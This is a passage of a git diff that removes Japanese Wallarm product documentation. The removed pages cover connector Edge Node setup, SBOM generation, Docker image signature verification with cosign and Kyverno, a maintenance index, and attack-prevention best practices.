connector**に移動します。このセクションが利用できない場合は、必要なサブスクリプションへのアクセスについてsales@wallarm.comまでご連絡ください。 - -Free Tierでは、[Quick setup](free-tier.md)でEdge Nodeをデプロイ後、**Security Edge**セクションから設定を調整できます。 - -### 1. コネクタ用Edge Nodeのデプロイ - -指定が必要なのはコネクタの設定のみです。デプロイはWallarmが実施し、プラットフォームからのトラフィックをルーティングするためのエンドポイントを提供します。 - -1つのエンドポイントで複数の異なるホストからの接続を処理できます。 - -1. Wallarm Console → **Security Edge** → **Connectors** → **Add connector**に進みます。 - - ![!][se-connector-setup-img] -1. Nodeのデプロイ設定を指定します: - - * **Regions**: コネクタ用のWallarm Nodeをデプロイするリージョンを1つ以上選択します。APIやアプリケーションがデプロイされている場所に近いリージョンを選択することを推奨します。複数リージョンを選択すると、いずれかのインスタンスが利用不可になった場合に負荷が分散され、ジオ冗長性が向上します。 - - リージョンは**AWS**または**Azure**から選択できます。 - - * **Filtration mode**: [トラフィック解析モード][filtration-mode-docs]。 - * **Application**: 全体のアプリケーションIDです。Wallarmでは、[Applications](../../user-guides/settings/applications.md)がインフラストラクチャの一部（例: ドメイン、ロケーション、インスタンス）の識別と整理に役立ちます。 - - 各Nodeには全体のアプリケーションIDが必要で、ロケーションやインスタンスごとに個別のIDを割り当てることも可能です。 - - * **Allowed hosts**: Nodeが受け付けて解析するトラフィックのホストを指定します。 - - 指定したホストが存在しない、または到達できない場合は415エラーが返され、トラフィックは処理されません。 - - * **Location configuration**: 必要に応じて、特定のホストやロケーションに一意のアプリケーションIDとトラフィック解析モードを割り当てます。 - - ![!][se-connector-hosts-locations-img] -1. **Auto-update strategy**設定では、[Edge Nodeバージョン](../../updating-migrating/native-node/node-artifact-versions.md#all-in-one-installer)を選択し、必要に応じて[Auto update](#upgrading-the-edge-node)を有効化できます。バージョンを明示的に選択しない場合は、最新バージョンが自動的にデプロイされます。 - - ![!](../../images/waf-installation/security-edge/connectors/autoupdate.png) -1. 保存後、Wallarmがコネクタ用のNodeをデプロイして設定を完了するまでに3〜5分かかります。 - - デプロイ完了時、ステータスは**Pending**から**Active**に変わります。 -1. 後でプラットフォームからトラフィックをルーティングするために必要になるので、Nodeのエンドポイントをコピーします。 - -![!](../../images/waf-installation/security-edge/connectors/copy-endpoint.png) - -Nodeが**Active**のステータスの間は、いつでもEdge Nodeのデプロイ設定を変更できます。Nodeは再デプロイされ、ステータスは**Pending**から**Active**へと遷移します。エンドポイントは変わりませんが、再デプロイ中は利用できません。 - -### 2. APIを実行しているプラットフォームへのWallarmコードの組み込み - -Edge Nodeをデプロイしたら、プラットフォームにWallarmコードを組み込み、デプロイ済みNodeへトラフィックをルーティングする必要があります。 - -1. Wallarm Console UIから、使用プラットフォーム用のコードバンドルをダウンロードします。 - - ![!](../../images/waf-installation/security-edge/connectors/download-code-bundle.png) -1. 次の手順に従って、API管理プラットフォームにバンドルを適用します: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [IBM DataPower](../connectors/ibm-api-connect.md#2-obtain-and-apply-the-wallarm-policies-to-apis-in-ibm-api-connect) - -## テレメトリポータル - -Security Edgeコネクタ向けのテレメトリポータルは、Wallarmが処理したトラフィックのメトリクスをリアルタイムに可視化するGrafanaダッシュボードを提供します。 - -ダッシュボードには、総処理リクエスト数、RPS、検出・ブロックされた攻撃、デプロイ済みEdge Node数、リソース消費量、5xxレスポンス数などの主要なメトリクスが表示されます。 - -![!](../../images/waf-installation/security-edge/connectors/telemetry-portal.png) - -Nodeが**Active**のステータスになったら、**Run telemetry portal**を実行します。開始から約5分後、Security Edgeセクションからのダイレクトリンクでアクセス可能になります。 - -![!](../../images/waf-installation/security-edge/connectors/run-telemetry-portal.png) - -Grafanaのホームページからダッシュボードへ移動するには、**Dashboards** → **Wallarm** → **Portal Connector Overview**に進みます。複数のNodeがある場合は、各ダッシュボードを表示するためにコネクタのエンドポイントに対応する**Tenant ID**に切り替えてください。 - -## Edge Nodeのアップグレード - -**Auto update**を有効にすると、新しいマイナーまたはパッチバージョンがリリースされ次第（選択したオプションに応じて）、Edge Nodeは自動的にアップグレードされます。初期設定はすべて保持されます。Auto updateはデフォルトでオフです。 - -Edge Nodeを手動でアップグレードするには、対象Nodeを編集用に開き、**Auto update**セクションでバージョンを選択します。最適なパフォーマンスとセキュリティのため、最新バージョンの使用を推奨します。 - -新しいメジャーバージョンへのアップグレードは手動でのみ実行できます。 - -各バージョンの変更履歴は[記事](../../updating-migrating/native-node/node-artifact-versions.md#all-in-one-installer)を参照してください。Edge Nodeのバージョンは`..`形式で、リンク先の記事の同一バージョンに対応します。Edge Nodeバージョンのビルド番号は小規模な変更を示します。 - -また、コネクタのコードバンドルをアップグレードする必要がある場合があります。変更履歴とアップグレード手順は[Connector Code Bundleの変更履歴](../connectors/code-bundle-inventory.md)を参照してください。 - -## Edge Nodeの削除 - -Edge Nodeを削除すると、そのエンドポイントは利用できなくなり、セキュリティ解析のためにトラフィックを経由させることができなくなります。 - -プラットフォームに組み込まれたWallarmのコードバンドルは、バンドル設定で指定されたNodeのエンドポイントへの到達を引き続き試みます。しかし、`failed: Couldn't resolve address`エラーで失敗し、トラフィックはEdge Nodeを経由せずにターゲットへ流れ続けます。 - -サブスクリプションが失効した場合、14日後にEdge Nodeは自動的に削除されます。 - -## トラブルシューティング - ---8<-- "../include/waf/installation/security-edge/connector-troubleshooting.md" \ No newline at end of file diff --git a/docs/latest-ja/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/latest-ja/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index d2039254b7..0000000000 --- a/docs/latest-ja/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1,46 +0,0 @@ -# Wallarm DockerイメージのSBOMを生成する - -Software Bill of Materials（SBOM）は、アプリケーション内のソフトウェアコンポーネントとその依存関係、バージョン、ライセンス、脆弱性などを一覧化したインベントリです。本記事では、WallarmのDockerイメージ向けにSBOMを生成する方法を説明します。 - -イメージで使用されている依存関係に関連する潜在的なセキュリティリスクを評価し、軽減するために、WallarmのDockerイメージのSBOMが必要になる場合があります。SBOMはソフトウェアコンポーネントの透明性を提供し、コンプライアンスの確保に役立ちます。 - -## WallarmのDockerイメージ一覧 - -以下は、[署名済み](verify-docker-image-signature.md)のWallarmのDockerイメージの一覧です。これらのイメージの任意のタグに対してSBOMを生成できます。 - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1以降：すべてのWallarmモジュールを含む[NGINXベースのDockerイメージ](../admin-en/installation-docker-en.md)で、Wallarmのデプロイ用スタンドアロンアーティファクトとして機能します -* [NGINXベースのIngress Controllerデプロイ](../admin-en/installation-kubernetes-en.md)用Helmチャートで使用されるすべてのDockerイメージ： - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [Sidecarデプロイ](../installation/kubernetes/sidecar-proxy/deployment.md)用Helmチャートで使用されるすべてのDockerイメージ： - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [wallarm/node-native-aio](https://hub.docker.com/r/wallarm/node-native-aio)：Wallarmコネクタ向け[自己ホスト型Native Nodeデプロイ用Dockerイメージ](../installation/native-node/docker-image.md) - -## 要件 - -WallarmのDockerイメージのSBOMを生成するには、[syft](https://github.com/anchore/syft) CLIユーティリティを使用する必要があります。 - -SBOMの生成に進む前に、ローカルマシンまたはCI/CDパイプラインに**syft**を[インストール](https://github.com/anchore/syft#installation)していることを確認してください。 - -## SBOM生成手順 - -DockerイメージのSBOMを生成するには、次のコマンドを使用し、指定されているイメージタグを目的のものに置き換えてください。 - -```bash -syft wallarm/ingress-controller:4.6.2-1 -``` - -デフォルトでは、**syft**はSBOMをテキスト形式で返します。CycloneDXやSPDXなどの他の形式でも生成でき、出力をファイルに保存できます。例： - -```bash -syft wallarm/ingress-controller:4.6.2-1 --output spdx-json >> syft_json_sbom.spdx -syft wallarm/ingress-controller:4.6.2-1 --output cyclonedx-json >> cyclonedx_json_sbom.cyclonedx -``` - -SBOMを生成した後は、脆弱性スキャン、ライセンスのコンプライアンスチェック、セキュリティ監査、レポートの生成など、さまざまな処理においてCI/CDパイプライン内で活用できます。 - -すべての依存関係が実際にWallarmに属することを確認するには、イメージ全体の[署名を確認](verify-docker-image-signature.md)するだけで十分です。Wallarmはイメージにデジタル署名を付与しており、署名済みイメージがWallarmのものであることを保証します。そのため、この保証はSBOMにも及び、SBOMはWallarmの検証済みイメージに関連付けられます。 \ No newline at end of file diff --git a/docs/latest-ja/integrations-devsecops/verify-docker-image-signature.md b/docs/latest-ja/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index 973ade19c3..0000000000 --- a/docs/latest-ja/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1,104 +0,0 @@ -# Wallarm Dockerイメージ署名の検証 - -WallarmはDockerイメージに署名し、そのための[公開鍵](https://repo.wallarm.com/cosign.pub)を共有しています。これにより、イメージの真正性を検証し、イメージの改ざんやサプライチェーン攻撃といったリスクを軽減できます。本記事では、WallarmのDockerイメージ署名の検証方法を説明します。 - -## 署名済みイメージの一覧 - -Wallarmは以下のDockerイメージに署名しています: - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1以上：すべてのWallarmモジュールを含む[NGINXベースのDockerイメージ](../admin-en/installation-docker-en.md)で、Wallarmのデプロイに使用するスタンドアロンアーティファクトです -* [NGINXベースのIngress Controllerのデプロイメント](../admin-en/installation-kubernetes-en.md)用のHelmチャートで使用されるすべてのDockerイメージ： - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [Sidecarデプロイメント](../installation/kubernetes/sidecar-proxy/deployment.md)用のHelmチャートで使用されるすべてのDockerイメージ： - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* [wallarm/node-native-aio](https://hub.docker.com/r/wallarm/node-native-aio)：Wallarmコネクタ用の[セルフホスト型Native Nodeデプロイメント向けDockerイメージ](../installation/native-node/docker-image.md) - -## 前提条件 - -WallarmのDockerイメージの真正性を確保するため、署名および検証には[Cosign](https://docs.sigstore.dev/cosign/overview/)を使用します。 - -Dockerイメージ署名の検証を開始する前に、ローカルマシンまたはCI/CDパイプラインにCosignのコマンドラインユーティリティを[インストール](https://docs.sigstore.dev/cosign/installation/)してください。 - -## Dockerイメージ署名の検証を実行する - -Dockerイメージの署名を検証するには、`WALLARM_DOCKER_IMAGE`の値を対象のイメージタグに置き換えて次のコマンドを実行します: - -```bash -export WALLARM_DOCKER_IMAGE="wallarm/ingress-controller:4.6.2-1" -cosign verify --key https://repo.wallarm.com/cosign.pub $WALLARM_DOCKER_IMAGE -``` - -[出力](https://docs.sigstore.dev/cosign/verify/)にはイメージのダイジェストを示す`docker-manifest-digest`オブジェクトが含まれます。例: - -```bash -[{"critical":{"identity":{"docker-reference":"index.docker.io/"}, -"image":{"docker-manifest-digest":""},"type":"cosign container image signature"}, -"optional":{"Bundle":{"SignedEntryTimestamp":"","Payload":{"body":"", -"integratedTime":,"logIndex":,"logID":""}}}}] -``` - -## Kubernetesポリシーエンジンを使用した署名検証 - -KyvernoやOpen Policy Agent(OPA)などのエンジンを使用すると、Kubernetesクラスター内でDockerイメージの署名検証を行えます。検証のためのルールを含むポリシーを作成すると、Kyvernoはリポジトリやタグなどの定義済み条件に基づいてイメージ署名の検証を開始します。検証はKubernetesリソースのデプロイ時に実行されます。 - -以下は、WallarmのDockerイメージ署名を検証するためにKyvernoポリシーを使用する例です: - -1. クラスターに[Kyvernoをインストール](https://kyverno.io/docs/installation/methods/)し、すべてのPodが稼働していることを確認します。 -1. 次のKyverno YAMLポリシーを作成します: - - ```yaml - apiVersion: kyverno.io/v1 - kind: ClusterPolicy - metadata: - name: verify-wallarm-images - spec: - webhookTimeoutSeconds: 30 - validationFailureAction: Enforce - background: false - failurePolicy: Fail - rules: - - name: verify-wallarm-images - match: - any: - - resources: - kinds: - - Pod - verifyImages: - - imageReferences: - - docker.io/wallarm/ingress* - - docker.io/wallarm/sidecar* - attestors: - - entries: - - keys: - kms: https://repo.wallarm.com/cosign.pub - ``` -1. ポリシーを適用します: - - ``` - kubectl apply -f - ``` -1. 要件に応じて、Wallarmの[NGINX Ingress controller](../admin-en/installation-kubernetes-en.md)または[Sidecar Controller](../installation/kubernetes/sidecar-proxy/deployment.md)をデプロイします。Kyvernoポリシーはデプロイ時に適用され、イメージの署名をチェックします。 -1. 次のコマンドを実行して検証結果を確認します: - - ``` - kubectl describe ClusterPolicy verify-wallarm-images - ``` - -署名検証の状況を示す要約が表示されます: - -``` -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal PolicyApplied 50s (x2 over 50s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller: pass - Normal PolicyApplied 48s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller-9dcfddfc7-hjbhd: pass - Normal PolicyApplied 40s (x2 over 40s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics: pass - Normal PolicyApplied 35s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics-554789546f-9cc8j: pass -``` - -提示した`verify-wallarm-images`ポリシーには`failurePolicy: Fail`パラメータが設定されています。これは、署名の認証に失敗した場合、チャート全体のデプロイが失敗することを意味します。 \ No newline at end of file diff --git a/docs/latest-ja/maintenance/overview.md b/docs/latest-ja/maintenance/overview.md deleted file mode 100644 index d7c8cbb6b0..0000000000 --- a/docs/latest-ja/maintenance/overview.md +++ /dev/null @@ -1,68 +0,0 @@ -# メンテナンス - -このセクションでは、Wallarmデプロイメントのメンテナンス、監視、アップグレードに関する包括的なガイダンスを提供し、最適なパフォーマンスとセキュリティを確保します。 - -## 含まれる内容 - -* **ノードとインフラストラクチャ** - * [ノード概要](../user-guides/nodes/nodes.md) - Wallarmノードの管理と監視 - * [リソース割り当て](../admin-en/configuration-guides/allocate-resources-for-node.md) - CPUとメモリリソースの設定 - * [クラウド同期](../admin-en/configure-cloud-node-synchronization-en.md) - Wallarm Cloudとのノード同期の設定 - * [プロキシ設定](../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md) - Wallarm APIアクセス用プロキシの設定 - * [ブロックページの設定](../admin-en/configuration-guides/configure-block-page-and-code.md) - ブロックページとレスポンスコードのカスタマイズ - * [無効なヘッダーの処理](../admin-en/configuration-guides/handling-invalid-headers.md) - 無効なHTTPヘッダーの動作設定 - * [JA3フィンガープリンティング](../admin-en/enabling-ja3.md) - セキュリティ強化のためのTLSフィンガープリンティングの有効化 - * [Terraformプロバイダー](../admin-en/managing/terraform-provider.md) - コードとしてのWallarmインフラストラクチャ管理 - -* **監視とメトリクス** - * **NGINXノードメトリクス** - * [概要](../admin-en/nginx-node-metrics.md) - NGINXノードのメトリクス収集システムの紹介 - * [ポストアナリティクスメトリクス](../admin-en/wstore-metrics.md) - ポストアナリティクスモジュールのメトリクス - * [wcliコントローラーメトリクス](../admin-en/wcli-metrics.md) - wcliコントローラーのメトリクス - * [APIファイアウォールメトリクス](../admin-en/apifw-metrics.md) - APIファイアウォールのメトリクス - * **ネイティブノードメトリクス** - * [概要](../admin-en/native-node-metrics.md) - ネイティブノードのメトリクス収集システムの紹介 - * [統計サービス](../admin-en/configure-statistics-service.md) - 統計収集の設定 - * [ノードログ記録](../admin-en/configure-logging.md) - ログレベルと出力の設定 - * [フェイルオーバー設定](../admin-en/configure-backup-en.md) - フェイルオーバーメカニズムの設定 - * [ヘルスチェック](../admin-en/uat-checklist-en.md) - ノードの健全性と機能の確認 - -* **アップグレードと移行** - * [バージョニングポリシー](../updating-migrating/versioning-policy.md) - Wallarmのバージョニングとサポートライフサイクルの理解 - * [一般的な推奨事項](../updating-migrating/general-recommendations.md) - アップグレードのベストプラクティス - * [新機能](../updating-migrating/what-is-new.md) - 新バージョンの主な変更点と移行ガイド - * **変更履歴** - * [NGINXノード変更履歴](../updating-migrating/node-artifact-versions.md) - NGINXベースノードのリリースノート - * [ネイティブノード変更履歴](../updating-migrating/native-node/node-artifact-versions.md) - ネイティブノードのリリースノート - * [コネクタコードバンドル](../installation/connectors/code-bundle-inventory.md) - コネクタのリリースノート - * **NGINXノードのアップグレード** - * [DEB/RPMパッケージ](../updating-migrating/nginx-modules.md) - * [Postanalyticsモジュール](../updating-migrating/separate-postanalytics.md) - * [オールインワンインストーラー](../updating-migrating/all-in-one.md) - * [Dockerイメージ](../updating-migrating/docker-container.md) - * [Ingressコントローラー](../updating-migrating/ingress-controller.md) - * [Ingressコントローラーの廃止](../updating-migrating/nginx-ingress-retirement.md) - * [サイドカープロキシ](../updating-migrating/sidecar-proxy.md) - * [クラウドイメージ](../updating-migrating/cloud-image.md) - * [マルチテナントノード](../updating-migrating/multi-tenant.md) - * **ネイティブノードのアップグレード** - * [オールインワンインストーラー](../updating-migrating/native-node/all-in-one.md) - * [Helmチャート](../updating-migrating/native-node/helm-chart.md) - * [Dockerイメージ](../updating-migrating/native-node/docker-image.md) - -* **運用** - * [リクエスト量の学習](../admin-en/operation/learn-incoming-request-number.md) - 請求と容量計画のためのAPIリクエスト量の決定 - * [スキャナーIPアドレス](../admin-en/scanner-addresses.md) - 許可リスト用のWallarmスキャナーIPアドレス - -* **トラブルシューティング** - * [概要](../troubleshooting/overview.md) - 一般的なトラブルシューティングガイダンス - * [検出とブロック](../troubleshooting/detection-and-blocking.md) - 攻撃検出問題のトラブルシューティング - * [検出ツール](../troubleshooting/detection-tools-tuning.md) - 検出メカニズムの微調整 - * [パフォーマンス](../troubleshooting/performance.md) - パフォーマンス問題への対処 - * [実際のクライアントIP](../admin-en/using-proxy-or-balancer-en.md) - 正しいクライアントIP検出の設定 - * [エンドユーザーの問題](../faq/common-errors-after-installation.md) - インストール後の一般的なエラー - * [Wallarm Ingressコントローラー](../faq/ingress-installation.md) - Ingress固有の問題 - * [Wallarm Cloudがダウンした場合](../faq/wallarm-cloud-down.md) - クラウド利用不可への対処 - * [OWASPダッシュボードアラート](../faq/node-issues-on-owasp-dashboards.md) - ダッシュボードアラートの解決 - * [NGINXエラーログ](../troubleshooting/wallarm-issues-in-nginx-error-log.md) - NGINXエラーメッセージの解釈 - * [NGINXの動的DNS](../admin-en/configure-dynamic-dns-resolution-nginx.md) - 動的DNS解決の設定 diff --git a/docs/latest-ja/news.md b/docs/latest-ja/news.md deleted file mode 100644 index de3da95313..0000000000 --- a/docs/latest-ja/news.md +++ /dev/null @@ -1,16 +0,0 @@ -# 変更履歴とニュース - -
        - - - \ No newline at end of file diff --git a/docs/latest-ja/quickstart/attack-prevention-best-practices.md b/docs/latest-ja/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index fdf083fe75..0000000000 --- a/docs/latest-ja/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1,103 +0,0 @@ -# Wallarmによる攻撃防止のベストプラクティス - -本記事では、二重の防御を1つに統合したユニークなプラットフォームであるWallarmを攻撃防止に活用する方法を説明します。Wallarmは、他のツール（一般にWAAP）と同様にWebサイトを保護するだけでなく、システムのAPIも特化して防御し、オンライン環境の技術要素全体の安全を確保します。 - -オンラインには多くの脅威が存在するため、強力な盾が不可欠です。Wallarmは、SQLインジェクション、クロスサイトスクリプティング、リモートコード実行、パストラバーサルといった一般的な脅威を自動で阻止できます。ただし、DoS攻撃対策、アカウント乗っ取り、API乱用のような巧妙な脅威や特定のユースケースでは、いくつかの調整が必要になる場合があります。本記事では、それらの手順を順を追って説明し、可能な限り最良の保護を実現できるようにします。セキュリティの経験が豊富な方でも、サイバーセキュリティの取り組みを始めたばかりの方でも、本記事はセキュリティ戦略を強化するための有用な洞察を提供します。 - -## 複数アプリケーションとテナントの管理 - -組織で複数のアプリケーションや独立したテナントを運用している場合、Wallarmプラットフォームは容易な管理に役立ちます。[各アプリケーションごと](../user-guides/settings/applications.md)にイベントや統計を個別に表示でき、アプリケーションごとに固有のtriggersやルールを構成できます。必要に応じて、アクセス制御を分離した[各テナントごとの環境](../installation/multi-tenant/overview.md)を作成できます。 - -## 信頼ゾーンの確立 - -新しいセキュリティ対策を導入する際は、重要なビジネスアプリケーションの継続的な稼働を最優先にする必要があります。信頼できるリソースが不必要にWallarmプラットフォームで処理されないように、それらを[IP allowlist](../user-guides/ip-lists/overview.md)に割り当てることができます。 - -allowlistに登録されたリソースからのトラフィックは、既定では分析もログ保存もされません。つまり、バイパスされたリクエストのデータは確認できません。そのため、利用は慎重に適用する必要があります。 - -無制限のトラフィックを必要とするURLや、手動で監視したいURLには、[Wallarmノードをmonitoring modeに設定](../admin-en/configure-wallarm-mode.md)することを検討してください。これにより、これらのURLを狙った不正なアクティビティを捕捉してログに記録できます。その後、Wallarm Console UIでこれらのイベントを確認し、異常を監視し、必要に応じて特定のIPのブロックなどの手動対応を実施できます。 - -## トラフィックフィルタリングモードと処理例外の制御 - -柔軟な[フィルタリングモード](../admin-en/configure-wallarm-mode.md)管理とアプリケーションに合わせた処理のカスタマイズにより、セキュリティ対策を段階的に導入します。例えば、特定のノード、アプリケーション、またはアプリケーションの一部に対してmonitoring modeを有効化します。 - -必要に応じて、特定のリクエスト要素に合わせて[検知器を除外](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types)します。 - -## denylistの設定 - -信頼できない送信元を[denylist](../user-guides/ip-lists/overview.md)に追加することで、VPN、プロキシサーバー、Torネットワークなどの疑わしい地域や送信元からのトラフィックをブロックし、アプリケーションを保護できます。 - -## 多重攻撃の発信元をブロック - -Wallarmがblocking modeのときは、不正なペイロードを含むすべてのリクエストを自動的にブロックし、正当なリクエストのみを通過させます。短時間に同一のIPアドレスから複数の悪意あるアクティビティが検出された場合は、[攻撃者を完全にブロック](../admin-en/configuration-guides/protecting-with-thresholds.md)することを検討してください。 - -## ブルートフォース攻撃の緩和を有効化 - -単一のIPアドレスから認証ページやパスワード再設定フォームへの試行回数を制限することで、ブルートフォース攻撃を緩和します。これは、[特定のtrigger](../admin-en/configuration-guides/protecting-against-bruteforce.md)を構成することで実現できます。 - -## 強制ブラウジングの緩和を有効化 - -強制ブラウジングとは、攻撃者がディレクトリやアプリケーションに関する情報を含むファイルなどの隠しリソースを探し出して利用しようとする攻撃です。これらの隠しファイルは、他の種類の攻撃の実行に利用できる情報を攻撃者に与える可能性があります。特定のリソースへの到達に失敗した試行回数に上限を定義することで、[特定のtrigger](../admin-en/configuration-guides/protecting-against-bruteforce.md)を通じてこのような不正行為を防止できます。 - -## レート制限の設定 - -APIの利用頻度に適切な上限がないと、DoSやブルートフォース攻撃などのシステムを過負荷にする攻撃や、APIの過剰利用に晒される可能性があります。[**Advanced rate limiting**ルール](../user-guides/rules/rate-limiting.md)を使用すると、特定のスコープに確立できる接続数の最大値を指定でき、受信リクエストが均等に分散されるようにもできます。 - -## BOLA保護を有効化 - -Broken Object Level Authorization (BOLA)の脆弱性は、攻撃者がAPIリクエストでオブジェクトの識別子を用いてオブジェクトへアクセスし、認可メカニズムを回避してそのデータを読み取ったり変更したりできる問題です。BOLA攻撃を防止するには、脆弱なエンドポイントを手動で指定してそれらへの接続数に制限を設けるか、Wallarmに脆弱なエンドポイントを自動的に特定・保護させることができます。[詳細](../admin-en/configuration-guides/protecting-against-bola.md) - -## API Abuse Preventionの活用 - -[API abuse profilesを設定](../api-abuse-prevention/setup.md)して、アカウント乗っ取り、スクレイピング、セキュリティクローラー、その他APIを標的とする自動化された悪意ある行為を行うボットを検出・ブロックします。 - -## クレデンシャルスタッフィング検知を有効化 - -[クレデンシャルスタッフィング検知](../about-wallarm/credential-stuffing.md)を有効化すると、侵害されたまたは弱い資格情報を使用してアプリケーションへアクセスしようとする試みをリアルタイムに把握でき、アプリケーションへのアクセスを許してしまうすべての侵害/弱い資格情報のダウンロード可能な一覧も得られます。 - -盗まれたまたは弱いパスワードを持つアカウントを把握することで、アカウント所有者への連絡、アカウントへのアクセスの一時停止など、これらのアカウントのデータを保護するための対策を開始できます。 - -## カスタム攻撃検知ルールの作成 - -状況によっては、[攻撃検知シグネチャを手動で追加したり、バーチャルパッチを作成](../user-guides/rules/regex-rule.md)したりすると有益な場合があります。Wallarmは攻撃検知に正規表現へ依存してはいませんが、正規表現に基づく追加のシグネチャをユーザーが含めることは可能です。 - -## 機密データのマスキング - -Wallarmノードは攻撃情報をWallarm Cloudに送信します。認可情報（Cookie、トークン、パスワード）や個人データ、決済情報などの特定データは、処理が行われるサーバー内に留めるべきです。[データマスキングルールを作成](../user-guides/rules/sensitive-data-rule.md)して、Wallarm Cloudに送信する前に特定のリクエストポイントの元の値をマスクし、機密データが信頼された環境内に留まるようにします。 - -## ユーザーセッションの分析 - -**Attacks**や**Incidents**セクションに表示される攻撃だけを扱っている場合、その完全なコンテキスト、すなわち攻撃が属する一連のリクエストの論理的な流れは把握できません。 - -Wallarmの[**API Sessions**](../api-sessions/overview.md)はこのコンテキストを提供し、アプリケーションがどのように攻撃されているかの一般的なパターンを明らかにするとともに、実施するセキュリティ対策によってどのビジネスロジックが影響を受けるのかを理解できるようにします。 - -ユーザーセッションを分析して、脅威アクターの行動ロジックの特定、攻撃や悪性ボットの検知精度の検証、リスクのあるシャドウ/ゾンビなどのエンドポイントの追跡、パフォーマンス問題の特定などを行います。 - -## シームレスなSIEM/SOAR連携と重大イベントの即時アラート - -Wallarmは、Sumo Logic、Splunkなどの[各種SIEM/SOARシステム](../user-guides/settings/integrations/integrations-intro.md)とシームレスに連携でき、すべての攻撃情報をSOCセンターへ容易にエクスポートして一元管理できます。 - -Wallarmの連携機能と[triggers](../user-guides/triggers/triggers.md)機能を組み合わせることで、特定の攻撃、denylistに登録されたIP、進行中の攻撃量全体に関するレポートやリアルタイム通知を設定するための優れた手段が得られます。 - -## 多層防御戦略 - -アプリケーション向けの堅牢で信頼性の高いセキュリティ対策を構築するには、多層防御戦略を採用することが重要です。これは、相補的な保護手段のスイートを実装し、それらを組み合わせてレジリエントなディフェンスインデプスのセキュリティ体制を形成することを意味します。Wallarmセキュリティプラットフォームが提供する対策に加えて、以下のプラクティスを推奨します。 - -* クラウドサービスプロバイダーが提供するL3 DDoS保護を活用します。L3のDDoS保護はネットワーク層で動作し、分散型サービス拒否攻撃の緩和に役立ちます。ほとんどのクラウドサービスプロバイダーはL3保護をサービスの一部として提供しています。 -* WebサーバーやAPIゲートウェイのセキュア設定の推奨事項に従います。例えば、[NGINX](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html)や[Kong](https://konghq.com/learning-center/api-gateway/secure-api-gateway)を使用している場合は、セキュア設定ガイドラインを確実に遵守してください。 - -[WallarmのL7 DDoS保護対策](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm)とこれらの追加プラクティスを組み合わせることで、アプリケーション全体のセキュリティを大幅に強化できます。 - -## OWASP API主要脅威のカバレッジを確認・強化 - -OWASP API Security Top 10は、APIにおけるセキュリティリスク評価の事実上の標準です。これらのAPI脅威に対するAPIのセキュリティ体制を測定できるよう、Wallarmは2023年版の主要脅威の緩和状況を可視化する[ダッシュボード](../user-guides/dashboards/owasp-api-top-ten.md)を提供します。 - -これらのダッシュボードは、全体的なセキュリティ状態を評価し、適切なセキュリティコントロールを設定して検出されたセキュリティ問題に積極的に対処するのに役立ちます。 - -## JA3フィンガープリンティングを有効化 - -次の機能の精度を高めるために推奨します: - -* [API Sessions](../api-sessions/overview.md) -* API Sessionsの仕組みを利用する[API Abuse Prevention](../api-abuse-prevention/overview.md) - -未認証トラフィックの識別精度を高めるため、[JA3フィンガープリンティング](../admin-en/enabling-ja3.md#overview)を有効化することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/quickstart/getting-started.md b/docs/latest-ja/quickstart/getting-started.md deleted file mode 100644 index ef385f3cf8..0000000000 --- a/docs/latest-ja/quickstart/getting-started.md +++ /dev/null @@ -1,55 +0,0 @@ -# Wallarmプラットフォームの始め方 - -WallarmはオールインワンのAPIセキュリティを提供し、APIの脆弱性や悪意ある行為を特定して保護します。プラットフォームの利用開始を支援するために、登録前に試せるPlayground、登録後に利用できるFree Tier、そして円滑な体験のためのエキスパートサポートをご用意しています。 - -## PlaygroundでWallarmを学ぶ - -サインアップやお使いの環境へのコンポーネントのデプロイ前でもWallarmを確認できるように、[Wallarm Playground](https://tour.playground.wallarm.com/?utm_source=wallarm_docs_quickstart)をご利用ください。 - -Playgroundでは、実データが入っているかのようなWallarm Consoleのビューにアクセスできます。Wallarm Consoleは、処理されたトラフィックに関するデータを表示し、プラットフォームの細かなチューニングを可能にする、Wallarmプラットフォームの主要コンポーネントです。Playgroundを使えば、製品の動作を学んで試すことができ、読み取り専用モードでの有用な使用例も確認できます。 - -![Playground](../images/playground.png) - -自社トラフィックでWallarmソリューションの機能を試すには、[Security Edge Free Tierアカウントを作成](#self-signup-and-security-edge-free-tier)してください。 - -## 